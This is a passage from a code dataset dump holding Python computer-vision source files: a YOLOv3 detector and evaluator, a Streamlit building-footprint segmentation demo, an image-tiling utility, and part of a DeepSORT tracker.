[\r\n (x / len(self._class_names), 1.0, 1.0)\r\n for x in range(len(self._class_names))\r\n ]\r\n colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples))\r\n colors = list(\r\n map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)), colors)\r\n )\r\n return colors\r\n\r\n def detect_image(self, image):\r\n return_boxes = list()\r\n return_class_name = list()\r\n person_counter = 0\r\n\r\n if self._is_fixed_size:\r\n assert self._model_image_size[0] % 32 == 0, \"Multiples of 32 required\"\r\n assert self._model_image_size[1] % 32 == 0, \"Multiples of 32 required\"\r\n boxed_image = letterbox_image(\r\n image, tuple(reversed(self._model_image_size))\r\n )\r\n else:\r\n new_image_size = (\r\n image.width - (image.width % 32),\r\n image.height - (image.height % 32),\r\n )\r\n boxed_image = letterbox_image(image, new_image_size)\r\n image_data = np.array(boxed_image, dtype=\"float32\")\r\n image_data /= 255.0\r\n image_data = np.expand_dims(image_data, 0)\r\n\r\n out_boxes, out_scores, out_classes = self._sess.run(\r\n [self._evaluator.boxes, self._evaluator.scores, self._evaluator.classes],\r\n feed_dict={\r\n self._model.input: image_data,\r\n self._input_image_shape: [image.size[1], image.size[0]],\r\n K.learning_phase(): 0,\r\n },\r\n )\r\n for i, c in reversed(list(enumerate(out_classes))):\r\n predicted_class = self._class_names[c]\r\n\r\n if predicted_class != self._class_to_detect:\r\n continue\r\n\r\n person_counter += 1\r\n box = out_boxes[i]\r\n x = int(box[1])\r\n y = int(box[0])\r\n w = int(box[3] - box[1])\r\n h = int(box[2] - box[0])\r\n if x < 0:\r\n w = w + x\r\n x = 0\r\n if y < 0:\r\n h = h + y\r\n y = 0\r\n return_boxes.append([x, y, w, h])\r\n return_class_name.append([predicted_class])\r\n return return_boxes, return_class_name\r\n\r\n def close_session(self):\r\n self._sess.close()\r\n", "id": "3852854", "language": "Python", "matching_score": 2.1614291667938232, "max_stars_count": 2, "path": "py_detect_track/detect/yolo3/detector.py" }, { "content": "import numpy as np\r\n\r\nfrom dataclasses import dataclass\r\nfrom functools import wraps, reduce\r\nfrom typing import List, Tuple\r\n\r\nimport tensorflow as tf\r\nfrom keras import backend as K\r\nfrom keras.layers import Conv2D, Add, ZeroPadding2D, UpSampling2D, Concatenate\r\nfrom keras.layers.advanced_activations import LeakyReLU\r\nfrom keras.layers.normalization import BatchNormalization\r\nfrom keras.regularizers import l2\r\nfrom tensorflow import Tensor\r\n\r\n\r\ndef compose(*funcs):\r\n \"\"\"Compose arbitrarily many functions, evaluated left to right.\r\n\r\n Reference: https://mathieularose.com/function-composition-in-python/\r\n \"\"\"\r\n # return lambda x: reduce(lambda v, f: f(v), funcs, x)\r\n if funcs:\r\n return reduce(lambda f, g: lambda *a, **kw: g(f(*a, **kw)), funcs)\r\n else:\r\n raise ValueError(\"Composition of empty sequence not supported.\")\r\n\r\n\r\n@dataclass\r\nclass YOLOModelEvaluator:\r\n boxes: list\r\n scores: list\r\n classes: list\r\n\r\n\r\ndef _head(\r\n feats: Tensor, anchors: np.ndarray, num_classes: int, input_shape: Tensor\r\n) -> Tuple[Tensor, Tensor, Tensor, Tensor]:\r\n \"\"\"\r\n\r\n :param feats:\r\n :param anchors:\r\n :param num_classes:\r\n :param input_shape:\r\n :return:\r\n \"\"\"\r\n num_anchors = len(anchors)\r\n anchors_tensor = K.reshape(K.constant(anchors), [1, 1, 1, num_anchors, 2])\r\n\r\n grid_shape = K.shape(feats)[1:3] # height, width\r\n grid_y = K.tile(\r\n K.reshape(K.arange(0, stop=grid_shape[0]), [-1, 1, 1, 1]),\r\n [1, grid_shape[1], 1, 1],\r\n )\r\n grid_x = K.tile(\r\n K.reshape(K.arange(0, stop=grid_shape[1]), [1, -1, 1, 1]),\r\n [grid_shape[0], 1, 1, 1],\r\n )\r\n grid = K.concatenate([grid_x, grid_y])\r\n grid = K.cast(grid, K.dtype(feats))\r\n\r\n feats = K.reshape(\r\n feats, [-1, grid_shape[0], grid_shape[1], num_anchors, num_classes + 5]\r\n )\r\n\r\n box_xy = K.sigmoid(feats[..., :2])\r\n box_wh = K.exp(feats[..., 2:4])\r\n box_confidence = K.sigmoid(feats[..., 4:5])\r\n box_class_probability = K.sigmoid(feats[..., 5:])\r\n\r\n box_xy = (box_xy + grid) / K.cast(grid_shape[::-1], K.dtype(feats))\r\n box_wh = box_wh * anchors_tensor / K.cast(input_shape[::-1], K.dtype(feats))\r\n\r\n return box_xy, box_wh, box_confidence, box_class_probability\r\n\r\n\r\ndef _correct_boxes(\r\n box_xy: Tensor, box_wh: Tensor, input_shape: Tensor, image_shape: Tensor\r\n) -> Tensor:\r\n \"\"\"\r\n\r\n :param box_xy:\r\n :param box_wh:\r\n :param input_shape:\r\n :param image_shape:\r\n :return:\r\n \"\"\"\r\n box_yx = box_xy[..., ::-1]\r\n box_hw = box_wh[..., ::-1]\r\n input_shape = K.cast(input_shape, K.dtype(box_yx))\r\n image_shape = K.cast(image_shape, K.dtype(box_yx))\r\n new_shape = K.round(image_shape * K.min(input_shape / image_shape))\r\n offset = (input_shape - new_shape) / 2.0 / input_shape\r\n scale = input_shape / new_shape\r\n box_yx = (box_yx - offset) * scale\r\n box_hw *= scale\r\n\r\n box_minimums = box_yx - (box_hw / 2.0)\r\n box_maximums = box_yx + (box_hw / 2.0)\r\n boxes = K.concatenate(\r\n [\r\n box_minimums[..., 0:1], # y_min\r\n box_minimums[..., 1:2], # x_min\r\n box_maximums[..., 0:1], # y_max\r\n box_maximums[..., 1:2], # x_max\r\n ]\r\n )\r\n\r\n # Scale boxes back to original image shape.\r\n boxes *= K.concatenate([image_shape, image_shape])\r\n return boxes\r\n\r\n\r\ndef _boxes_and_scores(\r\n feats: Tensor,\r\n anchors: np.ndarray,\r\n num_classes: int,\r\n input_shape: Tensor,\r\n image_shape: Tensor,\r\n) -> Tuple[Tensor, Tensor]:\r\n \"\"\"\r\n\r\n :param feats:\r\n :param anchors:\r\n :param num_classes:\r\n :param input_shape:\r\n :param image_shape:\r\n :return:\r\n \"\"\"\r\n box_xy, box_wh, box_confidence, box_class_probability = _head(\r\n feats, anchors, num_classes, input_shape\r\n )\r\n boxes = _correct_boxes(box_xy, box_wh, input_shape, image_shape)\r\n boxes = K.reshape(boxes, [-1, 4])\r\n box_scores = box_confidence * box_class_probability\r\n box_scores = K.reshape(box_scores, [-1, num_classes])\r\n return boxes, box_scores\r\n\r\n\r\ndef get_evaluator(\r\n outputs: List[Tensor],\r\n anchors: np.ndarray,\r\n num_classes: int,\r\n image_shape: Tensor,\r\n max_boxes: int = 20,\r\n score_threshold: float = 0.6,\r\n iou_threshold: float = 0.5,\r\n) -> YOLOModelEvaluator:\r\n \"\"\"\r\n\r\n :param outputs:\r\n :param anchors:\r\n :param num_classes:\r\n :param image_shape:\r\n :param max_boxes:\r\n :param score_threshold:\r\n :param iou_threshold:\r\n :return:\r\n \"\"\"\r\n anchor_mask = [[6, 7, 8], [3, 4, 5], [0, 1, 2]]\r\n input_shape = K.shape(outputs[0])[1:3] * 32\r\n boxes = list()\r\n box_scores = list()\r\n\r\n boxes_collection = list()\r\n scores_collection = list()\r\n classes_collection = list()\r\n\r\n for l in range(3):\r\n _boxes, _box_scores = _boxes_and_scores(\r\n outputs[l],\r\n anchors[anchor_mask[l]],\r\n num_classes,\r\n input_shape,\r\n image_shape,\r\n )\r\n boxes.append(_boxes)\r\n box_scores.append(_box_scores)\r\n\r\n boxes = K.concatenate(boxes, axis=0)\r\n box_scores = K.concatenate(box_scores, axis=0)\r\n\r\n mask = box_scores >= score_threshold\r\n max_boxes_tensor = K.constant(max_boxes, dtype=\"int32\")\r\n\r\n for c in range(num_classes):\r\n class_boxes = tf.boolean_mask(boxes, mask[:, c])\r\n class_box_scores = tf.boolean_mask(box_scores[:, c], mask[:, c])\r\n\r\n nms_index = tf.image.non_max_suppression(\r\n class_boxes,\r\n class_box_scores,\r\n max_boxes_tensor,\r\n iou_threshold=iou_threshold,\r\n )\r\n\r\n class_boxes = K.gather(class_boxes, nms_index)\r\n class_box_scores = K.gather(class_box_scores, nms_index)\r\n classes = K.ones_like(class_box_scores, \"int32\") * c\r\n\r\n boxes_collection.append(class_boxes)\r\n scores_collection.append(class_box_scores)\r\n classes_collection.append(classes)\r\n\r\n boxes_collection = K.concatenate(boxes_collection, axis=0)\r\n scores_collection = K.concatenate(scores_collection, axis=0)\r\n classes_collection = K.concatenate(classes_collection, axis=0)\r\n\r\n return YOLOModelEvaluator(boxes_collection, scores_collection, classes_collection)\r\n", "id": "3498890", "language": "Python", "matching_score": 1.7376320362091064, "max_stars_count": 2, "path": "py_detect_track/detect/yolo3/evaluator.py" }, { "content": "import urllib\r\nimport numpy as np\r\nimport streamlit as st\r\nimport cv2\r\nimport torch\r\nfrom PIL import Image\r\nimport os\r\nfrom torch.utils import model_zoo\r\n\r\nfrom building_footprint_segmentation.seg.binary.models import ReFineNet\r\nfrom building_footprint_segmentation.helpers.normalizer import min_max_image_net\r\nfrom building_footprint_segmentation.utils.py_network import (\r\n to_input_image_tensor,\r\n add_extra_dimension,\r\n convert_tensor_to_numpy,\r\n)\r\nfrom building_footprint_segmentation.utils.operations import handle_image_size\r\n\r\nMAX_SIZE = 384\r\nMODEL_URL = \"https://github.com/fuzailpalnak/building-footprint-segmentation/releases/download/alpha/refine.zip\"\r\n\r\n\r\nst.set_option(\"deprecation.showfileUploaderEncoding\", False)\r\n\r\n\r\n@st.cache(allow_output_mutation=True)\r\ndef cached_model():\r\n refine_net = ReFineNet()\r\n state_dict = model_zoo.load_url(MODEL_URL, progress=True, map_location=\"cpu\")\r\n refine_net.load_state_dict(state_dict)\r\n return refine_net\r\n\r\n\r\nmodel = cached_model()\r\n\r\n\r\ndef main():\r\n st.sidebar.title(\"Building Extraction\")\r\n\r\n choice = st.sidebar.selectbox(\r\n \"Choose what to do\",\r\n [\"Demo\", \"About\"],\r\n )\r\n if choice == \"Demo\":\r\n extract()\r\n elif choice == \"About\":\r\n st.markdown(get_file_content_as_string(\"about.md\"))\r\n\r\n\r\ndef extract():\r\n st.title(\"Building Extraction\")\r\n uploaded_file = st.file_uploader(\"Choose an image...\", type=[\"jpg\", \"tif\", \"tiff\"])\r\n\r\n if uploaded_file is not None:\r\n st.header(\"Image\")\r\n original_image = np.array(Image.open(uploaded_file))\r\n\r\n st.image(original_image, caption=\"Input Image\", use_column_width=True)\r\n original_height, original_width = original_image.shape[:2]\r\n\r\n if (original_height, original_width) != (MAX_SIZE, MAX_SIZE):\r\n original_image = handle_image_size(original_image, (MAX_SIZE, MAX_SIZE))\r\n\r\n # Apply Normalization\r\n normalized_image = min_max_image_net(img=original_image)\r\n\r\n tensor_image = add_extra_dimension(to_input_image_tensor(normalized_image))\r\n\r\n with torch.no_grad():\r\n # Perform prediction\r\n prediction = model(tensor_image)\r\n prediction = prediction.sigmoid()\r\n\r\n prediction_binary = convert_tensor_to_numpy(prediction[0]).reshape(\r\n (MAX_SIZE, MAX_SIZE)\r\n )\r\n\r\n prediction_3_channels = cv2.cvtColor(prediction_binary, cv2.COLOR_GRAY2RGB)\r\n\r\n dst = cv2.addWeighted(\r\n original_image,\r\n 1,\r\n (prediction_3_channels * (0, 255, 0)).astype(np.uint8),\r\n 0.4,\r\n 0,\r\n )\r\n\r\n st.header(\"Prediction\")\r\n st.image(prediction_binary, caption=\"Mask\", use_column_width=True)\r\n\r\n st.header(\"Prediction Overlay on Image\")\r\n st.image(dst, caption=\"Overlay\", use_column_width=True)\r\n\r\n\r\n# Download a single file and make its content available as a string.\r\n@st.cache(show_spinner=True)\r\ndef get_file_content_as_string(path):\r\n url = os.path.join(\r\n \"https://raw.githubusercontent.com/fuzailpalnak/BuildingExtraction/master/\",\r\n path,\r\n )\r\n response = urllib.request.urlopen(url)\r\n return response.read().decode(\"utf-8\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n", "id": "2853431", "language": "Python", "matching_score": 1.7162548303604126, "max_stars_count": 1, "path": "app/building_extraction.py" }, { "content": "import math\nfrom typing import Tuple\n\nimport numpy as np\n\n\nclass Fragment:\n def __init__(self, position):\n self._position = position\n\n @property\n def position(self):\n return self._position\n\n @property\n def height(self):\n return int(math.ceil((self.position[0][1] - self.position[0][0])))\n\n @property\n def width(self):\n return int(math.ceil((self.position[1][1] - self.position[1][0])))\n\n def get_fragment_data(self, image: np.ndarray) -> np.ndarray:\n \"\"\"\n GET THE FRAGMENT PORTION OF THE DATA FROM THE IMAGE\n\n :param image: numpy array\n :return:\n \"\"\"\n raise NotImplementedError\n\n def transfer_fragment(\n self, transfer_from: np.ndarray, transfer_to: np.ndarray\n ) -> np.ndarray:\n \"\"\"\n TRANSFER THE FRAGMENT PORTION TO BIGGER IMAGE\n :param transfer_from: data to transfer from transfer [np.array]\n :param transfer_to: data to transfer to [np.array]\n :return: transferred data [np.array]\n \"\"\"\n raise NotImplementedError\n\n @staticmethod\n def solve_overlap(cropped_image, merged):\n intersecting_elements = np.zeros(cropped_image.shape)\n intersecting_elements[cropped_image > 0] = 1\n\n non_intersecting_elements = 1 - intersecting_elements\n\n intersected_with_merged = merged * intersecting_elements\n aggregate_merged = intersected_with_merged / 2\n\n non_intersected_with_merged = np.multiply(non_intersecting_elements, merged)\n merged = aggregate_merged + non_intersected_with_merged\n return merged\n\n\nclass Fragment4D(Fragment):\n def __init__(self, position):\n super().__init__(position)\n\n def get_fragment_data(self, image: np.ndarray) -> np.ndarray:\n \"\"\"\n GET THE FRAGMENT PORTION OF THE DATA FROM THE IMAGE\n\n :param image: numpy array\n :return:\n \"\"\"\n assert len(image.shape) == 4, (\n \"Expected fragment to have shape (batch, height, width, [channels]), \"\n \"got shape %s.\" % (image.shape,)\n )\n\n _, w, h, _ = image.shape\n\n assert (\n w >= self.width and h >= self.height\n ), \"Expected image to have [Height] and [Width] greater than fragment, \" \"Expected %s got shape %s.\" % (\n (self.height, self.width),\n (w, h),\n )\n return image[\n :,\n self.position[0][0] : self.position[0][1],\n self.position[1][0] : self.position[1][1],\n :,\n ]\n\n def transfer_fragment(self, transfer_from: np.ndarray, transfer_to: np.ndarray):\n \"\"\"\n TRANSFER THE FRAGMENT PORTION TO BIGGER IMAGE\n shape 4->[BATCH x H x W x C]\n :param transfer_from: data to transfer from transfer [np.array]\n :param transfer_to: data to transfer to [np.array]\n :return: transferred data [np.array]\n \"\"\"\n assert len(transfer_from.shape) == 4, (\n \"Expected fragment to have shape (batch, height, width, [channels]), \"\n \"got shape %s.\" % (transfer_from.shape,)\n )\n\n assert len(transfer_to.shape) == 4, (\n \"Expected Image to have shape (batch, height, width, [channels]), \"\n \"got shape %s.\" % (transfer_to.shape,)\n )\n\n assert transfer_to.shape >= transfer_from.shape, (\n \"Expected transfer_to greater than or equal to transfer_from, \"\n \"Expected >= %s got shape %s.\" % (transfer_to, transfer_from)\n )\n\n _, h_tt, w_tt, _ = transfer_to.shape\n _, h_tf, w_tf, _ = transfer_from.shape\n assert (\n h_tt >= self.height and w_tt >= self.width\n ), \"Expected transfer_to to have [Height] and [Width] greater than fragment, \" \"Expected %s got shape %s.\" % (\n (self.height, self.width),\n (h_tt, w_tt),\n )\n\n assert (\n h_tf >= self.height and w_tf >= self.width\n ), \"Expected transfer_from to have [Height] and [Width] equal to fragment, \" \"Expected %s got shape %s.\" % (\n (self.height, self.width),\n (h_tf, w_tf),\n )\n\n part_1_x = self.position[0][0]\n part_1_y = self.position[0][1]\n part_2_x = self.position[1][0]\n part_2_y = self.position[1][1]\n\n cropped_image = transfer_to[:, part_1_x:part_1_y, part_2_x:part_2_y, :]\n merged = cropped_image + transfer_from\n\n if np.any(cropped_image):\n merged = self.solve_overlap(cropped_image, merged)\n transfer_to[:, part_1_x:part_1_y, part_2_x:part_2_y, :] = merged\n return transfer_to\n\n\nclass Fragment3D(Fragment):\n def __init__(self, position):\n super().__init__(position)\n\n def get_fragment_data(self, image: np.ndarray) -> np.ndarray:\n \"\"\"\n GET THE FRAGMENT PORTION OF THE DATA FROM THE IMAGE\n\n :param image: numpy array\n :return:\n \"\"\"\n assert len(image.shape) == 3, (\n \"Expected fragment to have shape (height, width, [channels]), \"\n \"got shape %s.\" % (image.shape,)\n )\n\n w, h, _ = image.shape\n\n assert (\n w >= self.width and h >= self.height\n ), \"Expected image to have [Height] and [Width] greater than fragment, \" \"Expected %s got shape %s.\" % (\n (self.height, self.width),\n (w, h),\n )\n return image[\n self.position[0][0] : self.position[0][1],\n self.position[1][0] : self.position[1][1],\n :,\n ]\n\n def transfer_fragment(self, transfer_from: np.ndarray, transfer_to: np.ndarray):\n \"\"\"\n TRANSFER THE FRAGMENT PORTION TO BIGGER IMAGE\n shape 3->[H x W x C]\n :param transfer_from: data to transfer from transfer [np.array]\n :param transfer_to: data to transfer to [np.array]\n :return: transferred data [np.array]\n \"\"\"\n assert len(transfer_from.shape) == 3, (\n \"Expected fragment to have shape (height, width, [channels]), \"\n \"got shape %s.\" % (transfer_from.shape,)\n )\n\n assert len(transfer_to.shape) == 3, (\n \"Expected Image to have shape (height, width, [channels]), \"\n \"got shape %s.\" % (transfer_to.shape,)\n )\n\n assert transfer_to.shape >= transfer_from.shape, (\n \"Expected transfer_to greater than or equal to transfer_from, \"\n \"Expected >= %s got shape %s.\" % (transfer_to, transfer_from)\n )\n\n h_tt, w_tt, _ = transfer_to.shape\n h_tf, w_tf, _ = transfer_from.shape\n assert (\n h_tt >= self.height and w_tt >= self.width\n ), \"Expected transfer_to to have [Height] and [Width] greater than fragment, \" \"Expected %s got shape %s.\" % (\n (self.height, self.width),\n (h_tt, w_tt),\n )\n\n assert (\n h_tf >= self.height and w_tf >= self.width\n ), \"Expected transfer_from to have [Height] and [Width] equal to fragment, \" \"Expected %s got shape %s.\" % (\n (self.height, self.width),\n (h_tf, w_tf),\n )\n\n part_1_x = self.position[0][0]\n part_1_y = self.position[0][1]\n part_2_x = self.position[1][0]\n part_2_y = self.position[1][1]\n\n cropped_image = transfer_to[part_1_x:part_1_y, part_2_x:part_2_y, :]\n\n merged = cropped_image + transfer_from\n\n if np.any(cropped_image):\n merged = self.solve_overlap(cropped_image, merged)\n transfer_to[part_1_x:part_1_y, part_2_x:part_2_y, :] = merged\n return transfer_to\n\n\nclass ImageFragment:\n def __init__(self, collection):\n self.collection = collection\n\n def __len__(self):\n return len(self.collection)\n\n def __getitem__(self, index):\n return self.collection[index]\n\n @staticmethod\n def fragments(section_dim: Tuple[int, int], img_dim: Tuple[int, int]):\n \"\"\"\n\n W = Columns\n H = Rows\n Provides collection of Fragments of fragment_size over org_size, The functions will yield non overlapping\n fragments if img_size / split_size is divisible, if that's not the case then the function will adjust\n the fragments accordingly to accommodate the split_size and yield overlapping fragments\n :return:\n \"\"\"\n\n split_col, split_row = (section_dim[1], section_dim[0])\n img_col, img_row = (img_dim[1], img_dim[0])\n\n iter_col = 1\n iter_row = 1\n\n for col in range(0, img_col, split_col):\n if iter_col == np.ceil(img_col / split_col):\n col = img_col - split_col\n else:\n iter_col += 1\n for row in range(0, img_row, split_row):\n if iter_row == np.ceil(img_row / split_row):\n row = img_row - split_row\n else:\n iter_row += 1\n if row + split_row <= img_row and col + split_col <= img_col:\n yield (row, row + split_row), (col, col + split_col)\n iter_row = 1\n\n @classmethod\n def image_fragment_4d(\n cls,\n fragment_size: Tuple[int, int, int, int],\n org_size: Tuple[int, int, int, int],\n ):\n \"\"\"\n fragment size = [batch_size, height, width, channel]\n org_size = [batch_size, height, width, channel]\n\n :param fragment_size:\n :param org_size:\n :return:\n \"\"\"\n assert len(fragment_size) == 4, (\n \"Expected fragment to have shape (batch, height, width, [channels]), \"\n \"got shape %s.\" % (fragment_size,)\n )\n\n assert len(org_size) == 4, (\n \"Expected Image to have shape (batch, height, width, [channels]), \"\n \"got shape %s.\" % (org_size,)\n )\n assert org_size >= fragment_size, (\n \"Expected org_size greater than or equal to fragment_size, \"\n \"Expected >= %s got shape %s.\" % (fragment_size, org_size)\n )\n\n fragment_list = list()\n for position in cls.fragments(\n (fragment_size[1], fragment_size[2]), (org_size[1], org_size[2])\n ):\n fragment_list.append(Fragment4D(position=position))\n return ImageFragment(fragment_list)\n\n @classmethod\n def image_fragment_3d(\n cls, fragment_size: Tuple[int, int, int], org_size: Tuple[int, int, int]\n ):\n \"\"\"\n fragment size = [height, width, channel]\n org_size = [height, width, channel]\n\n :param fragment_size:\n :param org_size:\n :return:\n \"\"\"\n assert len(fragment_size) == 3, (\n \"Expected fragment to have shape (height, width, [channels]), \"\n \"got shape %s.\" % (fragment_size,)\n )\n\n assert len(org_size) == 3, (\n \"Expected Image to have shape (height, width, [channels]), \"\n \"got shape %s.\" % (org_size,)\n )\n assert org_size >= fragment_size, (\n \"Expected org_size greater than or equal to fragment_size, \"\n \"Expected >= %s got shape %s.\" % (fragment_size, org_size)\n )\n fragment_list = list()\n for position in cls.fragments(\n (fragment_size[0], fragment_size[1]), (org_size[0], org_size[1])\n ):\n fragment_list.append(Fragment3D(position=position))\n return ImageFragment(fragment_list)\n", "id": "9733465", "language": "Python", "matching_score": 2.0348141193389893, "max_stars_count": 2, "path": "image_fragment/fragment.py" }, { "content": "class TrackerId:\r\n _tracker_id = -1\r\n\r\n @staticmethod\r\n def tracker_id():\r\n TrackerId._tracker_id += 1\r\n return TrackerId._tracker_id\r\n\r\n\r\nclass Tracker:\r\n def state(self):\r\n raise NotImplementedError\r\n\r\n def update(self, *args, **kwargs):\r\n raise NotImplementedError\r\n\r\n def predict(self, *args, **kwargs):\r\n raise NotImplementedError\r\n\r\n def extract_position_from_state(self):\r\n raise NotImplementedError\r\n\r\n def bbox(self, *args, **kwargs):\r\n raise NotImplementedError\r\n", "id": "7450029", "language": "Python", "matching_score": 0.3126981854438782, "max_stars_count": 2, "path": "py_detect_track/track/tracker.py" }, { "content": "from typing import List, Tuple\r\n\r\nimport numpy as np\r\n\r\nfrom scipy.optimize import linear_sum_assignment\r\n\r\nfrom py_detect_track.track.deepsort.deepsort_tracker import DeepSortKalmanTracker\r\nfrom py_detect_track.detect.utils import (\r\n from_x_y_width_height_to_x_y_aspect_height,\r\n from_x_y_aspect_height_to_x_y_width_height,\r\n)\r\n\r\nchi2inv95 = {\r\n 1: 3.8415,\r\n 2: 5.9915,\r\n 3: 7.8147,\r\n 4: 9.4877,\r\n 5: 11.070,\r\n 6: 12.592,\r\n 7: 14.067,\r\n 8: 15.507,\r\n 9: 16.919,\r\n}\r\n\r\n\r\ndef _cosine_distance(a, b, data_is_normalized=False):\r\n if not data_is_normalized:\r\n a = np.asarray(a) / np.linalg.norm(a, axis=1, keepdims=True)\r\n b = np.asarray(b) / np.linalg.norm(b, axis=1, keepdims=True)\r\n return 1.0 - np.dot(a, b.T).min(axis=0)\r\n\r\n\r\nclass DeepSortDetection:\r\n def __init__(self, detection, appearance_feature):\r\n super().__init__()\r\n # (x, y, w, h)\r\n self.detection = detection\r\n self.appearance_feature = appearance_feature\r\n\r\n\r\nclass DeepSort:\r\n def __init__(self, cascade_matching_threshold, iou_matching_threshold, max_age):\r\n self._appearance_features_targets_meta = dict()\r\n\r\n self._iou_matching_threshold = iou_matching_threshold\r\n self._cascade_matching_threshold = cascade_matching_threshold\r\n self._max_age = max_age\r\n\r\n self.trackers = list()\r\n\r\n def _track(self, detections: List[DeepSortDetection]):\r\n\r\n for track in self.trackers:\r\n track.predict()\r\n\r\n # Split track set into confirmed and unconfirmed tracks.\r\n confirmed_trackers_indices = [\r\n i for i, t in enumerate(self.trackers) if t.is_confirmed()\r\n ]\r\n unconfirmed_trackers_indices = [\r\n i for i, t in enumerate(self.trackers) if not t.is_confirmed()\r\n ]\r\n\r\n (\r\n matches,\r\n unmatched_tracks,\r\n unmatched_detections,\r\n ) = self._associate_detections_to_trackers(\r\n detections,\r\n self.trackers,\r\n confirmed_trackers_indices,\r\n unconfirmed_trackers_indices,\r\n )\r\n\r\n # Update track set.\r\n for track_idx, detection_idx in matches:\r\n self.trackers[track_idx].update(\r\n from_x_y_width_height_to_x_y_aspect_height(\r\n detections[detection_idx].detection\r\n ).reshape(4, 1)\r\n )\r\n\r\n # If no association is found for tracks within self._init number of frames then such tracks are deleted\r\n\r\n # 1. During this time, we expect a successful measurement association at each time step.\r\n # Tracks that are not successfully associated to a measurement within their first three frames are deleted.\r\n\r\n # 2. Tracks that exceed a predefined maximum age Amax are considered to have left the scene and are deleted\r\n for track_idx in unmatched_tracks:\r\n self.trackers[track_idx].mark_missed()\r\n\r\n for detection_idx in unmatched_detections:\r\n self.trackers.append(\r\n DeepSortKalmanTracker(\r\n from_x_y_width_height_to_x_y_aspect_height(\r\n detections[detection_idx].detection\r\n ).reshape(4, 1),\r\n detections[detection_idx].appearance_feature,\r\n self._max_age,\r\n )\r\n )\r\n self.trackers = [t for t in self.trackers if not t.is_deleted()]\r\n\r\n # Update distance metric.\r\n active_targets = [t.track_id for t in self.trackers if t.is_confirmed()]\r\n appearance_features, targets = [], []\r\n for track in self.trackers:\r\n if not track.is_confirmed():\r\n continue\r\n appearance_features += track.appearance_features\r\n targets += [track.track_id for _ in track.appearance_features]\r\n\r\n # Further, we keep a gallery Rk of the last Lk = 100 associated appearance descriptors for each track k.\r\n self._update_appearance_meta(\r\n np.asarray(appearance_features), np.asarray(targets), active_targets\r\n )\r\n\r\n return self.trackers\r\n\r\n def _associate_detections_to_trackers(\r\n self,\r\n detections,\r\n trackers,\r\n confirmed_trackers_indices,\r\n unconfirmed_trackers_indices,\r\n ):\r\n # Note that this matching cascade gives priority to tracks of smaller age, i.e., tracks that have been\r\n # seen more recently.\r\n (\r\n cascade_matches_detection_trackers_indices,\r\n cascade_unmatched_trackers_indices,\r\n cascade_unmatched_detections_indices,\r\n ) = self._matching_cascade(\r\n detections,\r\n trackers,\r\n confirmed_trackers_indices,\r\n cascade_depth=self._max_age,\r\n cascade_matching_threshold=self._cascade_matching_threshold,\r\n )\r\n\r\n # Associate remaining tracks together with unconfirmed tracks using IOU.\r\n iou_track_candidates_indices = unconfirmed_trackers_indices + [\r\n k\r\n for k in cascade_unmatched_trackers_indices\r\n if trackers[k].time_since_update == 1\r\n ]\r\n cascade_unmatched_trackers_indices = [\r\n k\r\n for k in cascade_unmatched_trackers_indices\r\n if trackers[k].time_since_update != 1\r\n ]\r\n\r\n # In a final matching stage, we run intersection over union association as proposed in the original\r\n # SORT algorithm [12]\r\n # on the set of unconfirmed and unmatched tracks of age n = 1.\r\n # This helps to to account for sudden appearance changes, e.g.,\r\n # due to partial occlusion with static scene geometry, and to\r\n # increase robustness against erroneous initialization.\r\n (\r\n iou_matches_detection_trackers_indices,\r\n iou_unmatched_tracks_indices,\r\n unmatched_detections_indices,\r\n ) = self._matching_iou(\r\n detections,\r\n trackers,\r\n cascade_unmatched_detections_indices,\r\n iou_track_candidates_indices,\r\n self._iou_matching_threshold,\r\n )\r\n\r\n matches_detection_trackers = (\r\n cascade_matches_detection_trackers_indices\r\n + iou_matches_detection_trackers_indices\r\n )\r\n unmatched_tracks = list(\r\n set(cascade_unmatched_trackers_indices + iou_unmatched_tracks_indices)\r\n )\r\n return (\r\n matches_detection_trackers,\r\n unmatched_tracks,\r\n unmatched_detections_indices,\r\n )\r\n\r\n def _matching_iou(\r\n self,\r\n detections: List[DeepSortDetection],\r\n trackers: List[DeepSortKalmanTracker],\r\n unmatched_detections_indices: List,\r\n iou_track_candidates_indices: List,\r\n iou_matching_threshold: float = 0.5,\r\n ) -> Tuple[List, List, List]:\r\n \"\"\"\r\n\r\n :param detections:\r\n :param trackers:\r\n :param unmatched_detections_indices:\r\n :param iou_track_candidates_indices:\r\n :param iou_matching_threshold:\r\n :return:\r\n \"\"\"\r\n\r\n if (\r\n len(unmatched_detections_indices) == 0\r\n or len(iou_track_candidates_indices) == 0\r\n ):\r\n iou_matches_detection_tracker_indices = list()\r\n unmatched_tracker_indices = iou_track_candidates_indices\r\n unmatched_detections_indices = unmatched_detections_indices\r\n\r\n else:\r\n cost = self._iou_cost(\r\n detections,\r\n trackers,\r\n iou_track_candidates_indices,\r\n unmatched_detections_indices,\r\n )\r\n (\r\n iou_matches_detection_tracker_indices,\r\n unmatched_tracker_indices,\r\n unmatched_detections_indices,\r\n ) = self._min_cost_matching(\r\n cost,\r\n detections,\r\n trackers,\r\n iou_track_candidates_indices,\r\n unmatched_detections_indices,\r\n iou_matching_threshold,\r\n )\r\n return (\r\n iou_matches_detection_tracker_indices,\r\n unmatched_tracker_indices,\r\n unmatched_detections_indices,\r\n )\r\n\r\n def _matching_cascade(\r\n self,\r\n detections: List[DeepSortDetection],\r\n trackers: List[DeepSortKalmanTracker],\r\n tracker_indices: List = None,\r\n cascade_depth: int = 30,\r\n cascade_matching_threshold: float = 0.50,\r\n ) -> Tuple[List, List, List]:\r\n\r\n \"\"\"\r\n Input: Track indices T = {1, . . . , N}, Detection indices D =\r\n {1, . . . , M}, Maximum age Amax\r\n 1: Compute cost matrix C = [ci,j ] using Eq. 5\r\n 2: Compute gate matrix B = [bi,j ] using Eq. 6\r\n 3: Initialize set of matches M ← ∅\r\n 4: Initialize set of unmatched detections U ← D\r\n 5: for n ∈ {1, . . . , Amax} do\r\n 6: Select tracks by age Tn ← {i ∈ T | ai = n}\r\n 7: [xi,j ] ← min cost matching(C, Tn, U)\r\n 8: M ← M ∪ {(i, j) | bi,j · xi,j > 0}\r\n 9: U ← U \\ {j | SUMi bi,j · xi,j > 0}\r\n 10: end for\r\n 11: return M, U\r\n\r\n :param cascade_matching_threshold:\r\n :param cascade_depth:\r\n :param detections:\r\n :param trackers:\r\n :param tracker_indices:\r\n :return:\r\n \"\"\"\r\n tracker_indices = (\r\n list(range(len(trackers))) if tracker_indices is None else tracker_indices\r\n 